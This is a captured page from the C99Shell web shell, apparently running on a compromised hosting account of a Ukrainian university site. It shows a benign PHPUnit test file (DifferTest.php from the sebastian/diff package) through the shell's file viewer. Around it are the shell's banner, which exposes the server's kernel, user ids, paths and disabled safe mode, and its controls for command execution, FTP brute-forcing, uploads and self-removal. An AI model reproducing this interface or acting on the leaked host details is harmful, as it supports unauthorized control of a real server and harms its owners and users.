!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/it-man.ztu.edu.ua/src/vendor/sebastian/diff/tests/   drwxr-xr-x
Free 117.08 GB of 200.55 GB (58.38%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     DifferTest.php (11.22 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/*
 * This file is part of the Diff package.
 *
 * (c) Sebastian Bergmann <sebastian@phpunit.de>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace SebastianBergmann\Diff;

use 
PHPUnit_Framework_TestCase;
use 
SebastianBergmann\Diff\LCS\MemoryEfficientImplementation;
use 
SebastianBergmann\Diff\LCS\TimeEfficientImplementation;

class 
DifferTest extends PHPUnit_Framework_TestCase
{
    const 
REMOVED 2;
    const 
ADDED   1;
    const 
OLD     0;

    
/**
     * @var Differ
     */
    
private $differ;

    protected function 
setUp()
    {
        
$this->differ = new Differ;
    }

    
/**
     * @param array  $expected
     * @param string $from
     * @param string $to
     * @dataProvider arrayProvider
     * @covers       SebastianBergmann\Diff\Differ::diffToArray
     * @covers       SebastianBergmann\Diff\LCS\TimeEfficientImplementation
     */
    
public function testArrayRepresentationOfDiffCanBeRenderedUsingTimeEfficientLcsImplementation(array $expected$from$to)
    {
        
$this->assertEquals($expected$this->differ->diffToArray($from$to, new TimeEfficientImplementation));
    }

    
/**
     * @param string $expected
     * @param string $from
     * @param string $to
     * @dataProvider textProvider
     * @covers       SebastianBergmann\Diff\Differ::diff
     * @covers       SebastianBergmann\Diff\LCS\TimeEfficientImplementation
     */
    
public function testTextRepresentationOfDiffCanBeRenderedUsingTimeEfficientLcsImplementation($expected$from$to)
    {
        
$this->assertEquals($expected$this->differ->diff($from$to, new TimeEfficientImplementation));
    }

    
/**
     * @param array  $expected
     * @param string $from
     * @param string $to
     * @dataProvider arrayProvider
     * @covers       SebastianBergmann\Diff\Differ::diffToArray
     * @covers       SebastianBergmann\Diff\LCS\MemoryEfficientImplementation
     */
    
public function testArrayRepresentationOfDiffCanBeRenderedUsingMemoryEfficientLcsImplementation(array $expected$from$to)
    {
        
$this->assertEquals($expected$this->differ->diffToArray($from$to, new MemoryEfficientImplementation));
    }

    
/**
     * @param string $expected
     * @param string $from
     * @param string $to
     * @dataProvider textProvider
     * @covers       SebastianBergmann\Diff\Differ::diff
     * @covers       SebastianBergmann\Diff\LCS\MemoryEfficientImplementation
     */
    
public function testTextRepresentationOfDiffCanBeRenderedUsingMemoryEfficientLcsImplementation($expected$from$to)
    {
        
$this->assertEquals($expected$this->differ->diff($from$to, new MemoryEfficientImplementation));
    }

    
/**
     * @covers SebastianBergmann\Diff\Differ::diff
     */
    
public function testCustomHeaderCanBeUsed()
    {
        
$differ = new Differ('CUSTOM HEADER');

        
$this->assertEquals(
            
"CUSTOM HEADER@@ @@\n-a\n+b\n",
            
$differ->diff('a''b')
        );
    }

    public function 
testTypesOtherThanArrayAndStringCanBePassed()
    {
        
$this->assertEquals(
            
"--- Original\n+++ New\n@@ @@\n-1\n+2\n",
            
$this->differ->diff(12)
        );
    }

    
/**
     * @param string $diff
     * @param array  $expected
     * @dataProvider diffProvider
     * @covers       SebastianBergmann\Diff\Parser::parse
     */
    
public function testParser($diff$expected)
    {
        
$parser = new Parser;
        
$result $parser->parse($diff);

        
$this->assertEquals($expected$result);
    }

    public function 
arrayProvider()
    {
        return array(
            array(
                array(
                    array(
'a'self::REMOVED),
                    array(
'b'self::ADDED)
                ),
                
'a',
                
'b'
            
),
            array(
                array(
                    array(
'ba'self::REMOVED),
                    array(
'bc'self::ADDED)
                ),
                
'ba',
                
'bc'
            
),
            array(
                array(
                    array(
'ab'self::REMOVED),
                    array(
'cb'self::ADDED)
                ),
                
'ab',
                
'cb'
            
),
            array(
                array(
                    array(
'abc'self::REMOVED),
                    array(
'adc'self::ADDED)
                ),
                
'abc',
                
'adc'
            
),
            array(
                array(
                    array(
'ab'self::REMOVED),
                    array(
'abc'self::ADDED)
                ),
                
'ab',
                
'abc'
            
),
            array(
                array(
                    array(
'bc'self::REMOVED),
                    array(
'abc'self::ADDED)
                ),
                
'bc',
                
'abc'
            
),
            array(
                array(
                    array(
'abc'self::REMOVED),
                    array(
'abbc'self::ADDED)
                ),
                
'abc',
                
'abbc'
            
),
            array(
                array(
                    array(
'abcdde'self::REMOVED),
                    array(
'abcde'self::ADDED)
                ),
                
'abcdde',
                
'abcde'
            
)
        );
    }

    public function 
textProvider()
    {
        return array(
            array(
                
"--- Original\n+++ New\n@@ @@\n-a\n+b\n",
                
'a',
                
'b'
            
),
            array(
                
"--- Original\n+++ New\n@@ @@\n-ba\n+bc\n",
                
'ba',
                
'bc'
            
),
            array(
                
"--- Original\n+++ New\n@@ @@\n-ab\n+cb\n",
                
'ab',
                
'cb'
            
),
            array(
                
"--- Original\n+++ New\n@@ @@\n-abc\n+adc\n",
                
'abc',
                
'adc'
            
),
            array(
                
"--- Original\n+++ New\n@@ @@\n-ab\n+abc\n",
                
'ab',
                
'abc'
            
),
            array(
                
"--- Original\n+++ New\n@@ @@\n-bc\n+abc\n",
                
'bc',
                
'abc'
            
),
            array(
                
"--- Original\n+++ New\n@@ @@\n-abc\n+abbc\n",
                
'abc',
                
'abbc'
            
),
            array(
                
"--- Original\n+++ New\n@@ @@\n-abcdde\n+abcde\n",
                
'abcdde',
                
'abcde'
            
),
        );
    }

    public function 
diffProvider()
    {
        
$serialized_arr = <<<EOL
a:1:{i:0;O:27:"SebastianBergmann\Diff\Diff":3:{s:33:"SebastianBergmann\Diff\Difffrom";s:7:"old.txt";s:31:"SebastianBergmann\Diff\Diffto";s:7:"new.txt";s:35:"SebastianBergmann\Diff\Diffchunks";a:3:{i:0;O:28:"SebastianBergmann\Diff\Chunk":5:{s:35:"SebastianBergmann\Diff\Chunkstart";i:1;s:40:"SebastianBergmann\Diff\ChunkstartRange";i:3;s:33:"SebastianBergmann\Diff\Chunkend";i:1;s:38:"SebastianBergmann\Diff\ChunkendRange";i:4;s:35:"SebastianBergmann\Diff\Chunklines";a:4:{i:0;O:27:"SebastianBergmann\Diff\Line":2:{s:33:"SebastianBergmann\Diff\Linetype";i:1;s:36:"SebastianBergmann\Diff\Linecontent";s:7:"2222111";}i:1;O:27:"SebastianBergmann\Diff\Line":2:{s:33:"SebastianBergmann\Diff\Linetype";i:3;s:36:"SebastianBergmann\Diff\Linecontent";s:7:"1111111";}i:2;O:27:"SebastianBergmann\Diff\Line":2:{s:33:"SebastianBergmann\Diff\Linetype";i:3;s:36:"SebastianBergmann\Diff\Linecontent";s:7:"1111111";}i:3;O:27:"SebastianBergmann\Diff\Line":2:{s:33:"SebastianBergmann\Diff\Linetype";i:3;s:36:"SebastianBergmann\Diff\Linecontent";s:7:"1111111";}}}i:1;O:28:"SebastianBergmann\Diff\Chunk":5:{s:35:"SebastianBergmann\Diff\Chunkstart";i:5;s:40:"SebastianBergmann\Diff\ChunkstartRange";i:10;s:33:"SebastianBergmann\Diff\Chunkend";i:6;s:38:"SebastianBergmann\Diff\ChunkendRange";i:8;s:35:"SebastianBergmann\Diff\Chunklines";a:11:{i:0;O:27:"SebastianBergmann\Diff\Line":2:{s:33:"SebastianBergmann\Diff\Linetype";i:3;s:36:"SebastianBergmann\Diff\Linecontent";s:7:"1111111";}i:1;O:27:"SebastianBergmann\Diff\Line":2:{s:33:"SebastianBergmann\Diff\Linetype";i:3;s:36:"SebastianBergmann\Diff\Linecontent";s:7:"1111111";}i:2;O:27:"SebastianBergmann\Diff\Line":2:{s:33:"SebastianBergmann\Diff\Linetype";i:3;s:36:"SebastianBergmann\Diff\Linecontent";s:7:"1111111";}i:3;O:27:"SebastianBergmann\Diff\Line":2:{s:33:"SebastianBergmann\Diff\Linetype";i:3;s:36:"SebastianBergmann\Diff\Linecontent";s:8:"+1121211";}i:4;O:27:"SebastianBergmann\Diff\Line":2:{s:33:"SebastianBergmann\Diff\Linetype";i:3;s:36:"SebastianBergmann\Diff\Linecontent";s:7:"1111111";}i:5;O:27:"SebastianBergmann\Diff\Line":2:{s:33:"SebastianBergmann\Diff\Linetype";i:3;s:36:"SebastianBergmann\Diff\Linecontent";s:8:"-1111111";}i:6;O:27:"SebastianBergmann\Diff\Line":2:{s:33:"SebastianBergmann\Diff\Linetype";i:3;s:36:"SebastianBergmann\Diff\Linecontent";s:8:"-1111111";}i:7;O:27:"SebastianBergmann\Diff\Line":2:{s:33:"SebastianBergmann\Diff\Linetype";i:3;s:36:"SebastianBergmann\Diff\Linecontent";s:8:"-2222222";}i:8;O:27:"SebastianBergmann\Diff\Line":2:{s:33:"SebastianBergmann\Diff\Linetype";i:3;s:36:"SebastianBergmann\Diff\Linecontent";s:7:"2222222";}i:9;O:27:"SebastianBergmann\Diff\Line":2:{s:33:"SebastianBergmann\Diff\Linetype";i:3;s:36:"SebastianBergmann\Diff\Linecontent";s:7:"2222222";}i:10;O:27:"SebastianBergmann\Diff\Line":2:{s:33:"SebastianBergmann\Diff\Linetype";i:3;s:36:"SebastianBergmann\Diff\Linecontent";s:7:"2222222";}}}i:2;O:28:"SebastianBergmann\Diff\Chunk":5:{s:35:"SebastianBergmann\Diff\Chunkstart";i:17;s:40:"SebastianBergmann\Diff\ChunkstartRange";i:5;s:33:"SebastianBergmann\Diff\Chunkend";i:16;s:38:"SebastianBergmann\Diff\ChunkendRange";i:6;s:35:"SebastianBergmann\Diff\Chunklines";a:7:{i:0;O:27:"SebastianBergmann\Diff\Line":2:{s:33:"SebastianBergmann\Diff\Linetype";i:3;s:36:"SebastianBergmann\Diff\Linecontent";s:7:"2222222";}i:1;O:27:"SebastianBergmann\Diff\Line":2:{s:33:"SebastianBergmann\Diff\Linetype";i:3;s:36:"SebastianBergmann\Diff\Linecontent";s:7:"2222222";}i:2;O:27:"SebastianBergmann\Diff\Line":2:{s:33:"SebastianBergmann\Diff\Linetype";i:3;s:36:"SebastianBergmann\Diff\Linecontent";s:7:"2222222";}i:3;O:27:"SebastianBergmann\Diff\Line":2:{s:33:"SebastianBergmann\Diff\Linetype";i:3;s:36:"SebastianBergmann\Diff\Linecontent";s:8:"+2122212";}i:4;O:27:"SebastianBergmann\Diff\Line":2:{s:33:"SebastianBergmann\Diff\Linetype";i:3;s:36:"SebastianBergmann\Diff\Linecontent";s:7:"2222222";}i:5;O:27:"SebastianBergmann\Diff\Line":2:{s:33:"SebastianBergmann\Diff\Linetype";i:3;s:36:"SebastianBergmann\Diff\Linecontent";s:7:"2222222";}i:6;O:27:"SebastianBergmann\Diff\Line":2:{s:33:"SebastianBergmann\Diff\Linetype";i:3;s:36:"SebastianBergmann\Diff\Linecontent";s:0:"";}}}}}}
EOL;

        return array(
            array(
                
"--- old.txt    2014-11-04 08:51:02.661868729 +0300\n+++ new.txt    2014-11-04 08:51:02.665868730 +0300\n@@ -1,3 +1,4 @@\n+2222111\n 1111111\n 1111111\n 1111111\n@@ -5,10 +6,8 @@\n 1111111\n 1111111\n 1111111\n +1121211\n 1111111\n -1111111\n -1111111\n -2222222\n 2222222\n 2222222\n 2222222\n@@ -17,5 +16,6 @@\n 2222222\n 2222222\n 2222222\n +2122212\n 2222222\n 2222222\n",
                
unserialize($serialized_arr)
            )
        );
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0163 ]--